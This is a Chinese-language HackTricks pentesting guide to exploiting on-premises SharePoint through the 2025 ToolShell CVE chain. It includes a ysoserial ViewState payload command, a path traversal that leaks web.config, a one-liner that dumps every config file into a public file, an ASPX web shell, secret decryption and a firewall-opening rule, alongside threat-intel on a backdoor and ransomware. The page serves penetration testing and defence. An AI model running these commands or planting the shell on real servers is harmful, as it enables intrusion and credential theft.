Microsoft SharePoint – Pentesting & Exploitation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Microsoft SharePoint (on-premises) 构建于 ASP.NET/IIS 之上。大多数经典的 web 攻击面(ViewState、Web.Config、web shells 等)因此依然存在,但 SharePoint 还包含数百个专有的 ASPX 页面和 web 服务,显著扩展了暴露的攻击面。本页收集了在 SharePoint 环境中用于 enumerate、exploit 和 persist 的实用技巧,重点关注 Unit42 披露的 2025 exploit chain(CVE-2025-49704/49706/53770/53771)。
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> 允许任意 Server-Side Include 代码注入页面,这些代码随后由 ASP.NET 编译。攻击者可以嵌入执行 Process.Start() 的 C# 并投放恶意 ViewState。
2.2 CVE-2025-49706 – Improper Authentication Bypass
同一页面信任 X-Forms_BaseUrl 头来确定站点上下文。通过将其指向 /_layouts/15/,可以绕过根站点强制的 MFA/SSO unauthenticated。
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
一旦攻击者在 ToolPane.aspx 中控制了一个 gadget,就可以提交一个 unsigned(或仅 MAC)__VIEWSTATE 值,该值会触发 w3wp.exe 内的 .NET 反序列化,导致代码执行。
如果启用了签名,从任意 web.config 中窃取 ValidationKey/DecryptionKey(见 2.4),并使用 ysoserial.net 或 ysodom 伪造 payload:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config 泄露
向 ToolPane.aspx 发送精心构造的 Source 参数(例如 ../../../../web.config)会返回目标文件,允许泄露:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- 连接字符串 & 密钥。
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point 绘制了 Ink Dragon 在 Microsoft 发布修复前数月如何将 ToolShell 链路投入实战:
- Header spoofing for auth bypass – 攻击者向
/_layouts/15/ToolPane.aspx发送 POST 请求,带上Referer: https://<victim>/_layouts/15/和伪造的X-Forms_BaseUrl。这些头部会让 SharePoint 认为请求来自受信任的 layout,从而完全跳过前端认证 (CVE-2025-49706/CVE-2025-53771)。 - Serialized gadget in the same request – 请求体包含攻击者控制的 ViewState/ToolPart 数据,传递到易受影响的服务器端 formatter (CVE-2025-49704/CVE-2025-53770)。载荷通常是 ysoserial.net 链,会在
w3wp.exe内运行且不会触及磁盘。 - Internet-scale scanning – 2025 年 7 月的遥测显示他们枚举所有可达的
/_layouts/15/ToolPane.aspx端点并重放一个泄露的<machineKey>对字典。任何从文档复制了示例validationKey的站点,即便已打上补丁,仍可能被攻破(签名工作流见 ViewState 页面)。 - Immediate staging – 成功利用会投放一个 loader 或 PowerShell stager,随后:(1) 转储所有
web.config,(2) 部署一个 ASPX webshell 以备后路访问,(3) 调度本地 Potato 提权以逃逸 IIS worker。
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
生成的 debug_dev.js 可以匿名下载,并包含 所有 敏感配置。
3.2 部署 Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
解码后的 payload 示例(已简化):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
写入到:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to 读取 / 轮换 机器密钥,从而允许在整个 farm 中伪造 ViewState 和 ASPXAUTH cookies。
3.3 混淆变体 (variation-3)
相同的 shell,但:
- 放置在
...\15\TEMPLATE\LAYOUTS\下 - 变量名缩减为单字母
Thread.Sleep(<ms>)被加入用于沙箱规避和基于时间的 AV 绕过。
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
最近的事件响应调查(Unit42 “Project AK47”)展示了攻击者如何在 initial RCE 之后利用 ToolShell 链,在 SharePoint 环境中部署双通道 C2 植入体和勒索软件:
AK47C2 – dnsclient variant
- 硬编码的 DNS 服务器:
10.7.66.10,与权威域update.updatemicfosoft.com通信。 - 消息是 JSON 对象,使用静态密钥
VHBD@H进行 XOR 加密,hex 编码后嵌入为 子域标签。
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 长查询会被分块并以
s为前缀,然后在服务器端重新组装。 - 服务器在 TXT 记录中以相同的 XOR/hex 方案回复:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- 版本 202504 引入了简化格式
<COMMAND>::<SESSION_KEY>和分块标记1、2、a。
AK47C2 – httpclient variant
- 重用相同的 JSON & XOR 例程,但通过
libcurl在 HTTP POST body 中发送十六进制 blob(CURLOPT_POSTFIELDS等)。 - 相同的任务/结果 工作流允许:
- 任意 shell 命令执行。
- 动态睡眠间隔和 kill-switch 指令。
X2ANYLOCK ransomware
- 通过 DLL side-loading 加载的 64 位 C++ payload(见下)。
- 对文件数据使用 AES-CBC,并用 RSA-2048 包装 AES 密钥,然后追加扩展名
.x2anylock。 - 递归加密本地驱动器和发现的 SMB 共享;跳过系统路径。
- 丢弃明文说明
How to decrypt my data.txt,其中嵌入了用于谈判的静态 Tox ID。 - 包含内部 kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- 攻击者在合法的
7z.exe旁写入dllhijacked.dll/My7zdllhijacked.dll。 - SharePoint 启动的
w3wp.exe调用7z.exe,由于 Windows 搜索顺序,7z.exe加载了恶意 DLL,从而在内存中调用勒索软件入口点。 - 观察到一个独立的 LockBit loader(
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll)对 shell-code 解密并对d3dl1.dll执行 DLL hollowing 以运行 LockBit 3.0。
[!INFO] 相同的静态 Tox ID 在 X2ANYLOCK 与泄露的 LockBit 数据库中都被发现,表明可能存在关联/成员重叠。
3.5 将 SharePoint 战利品 转化为 横向移动
- 解密每个受保护的节 – 一旦站稳 web 层,滥用
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(或-px "appSettings")来导出隐藏在<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">背后的明文秘密。Ink Dragon 多次通过此方法收集 SQL 登录、SMTP 中继和自定义服务凭据。 - 在 farms 间重复使用 app-pool 账户 – 许多企业在每个前端使用相同的域账户作为
IIS APPPOOL\SharePoint。在解密identity impersonate="..."块或读取ApplicationHost.config后,将凭据通过 SMB/RDP/WinRM 在每台同级服务器上测试。在多个事件中,该账户还是本地管理员,允许使用psexec、sc create或计划任务摆放下一阶段而不触发密码喷洒检测。 - 滥用泄露的
<machineKey>值进行内部利用 – 即使 Internet 周界被修补,重复使用相同的validationKey/decryptionKey仍允许在相互信任的内部 SharePoint 区域间执行横向 ViewState 利用。
3.6 2025 年入侵中观察到的持久化模式
- 计划任务 – 一个名为
SYSCHECK(或其它健康主题名称)的一次性任务被创建为/ru SYSTEM /sc once /st <hh:mm>,以引导下一阶段加载器(通常是被重命名的conhost.exe)。因为是一次性运行,除非保留历史任务的 XML,否则遥测常常会漏掉它。 - 伪装的服务 – 通过
sc create安装诸如WindowsTempUpdate、WaaSMaintainer或MicrosoftTelemetryHost的服务,指向侧加载三件套目录。二进制文件保留其原始的 AMD/Realtek/NVIDIA 签名,但被重命名以匹配 Windows 组件;将磁盘上的文件名与 PE 字段OriginalFileName进行比较是快速的完整性检查。
3.7 主机防火墙为中继流量降级
Ink Dragon 经常添加一个宽松的出站规则,伪装成 Defender 维护,以便 ShadowPad/FinalDraft 的流量能从任意端口出口:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
因为该规则是本地创建的(不是通过 GPO),并且将合法的 Defender 二进制作为 program= 使用,大多数 SOC 基线会忽略它,但它却打开了 Any ➜ Any 出站。
相关技巧
- IIS post-exploitation & web.config 滥用:
IIS - Internet Information Services
参考资料
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

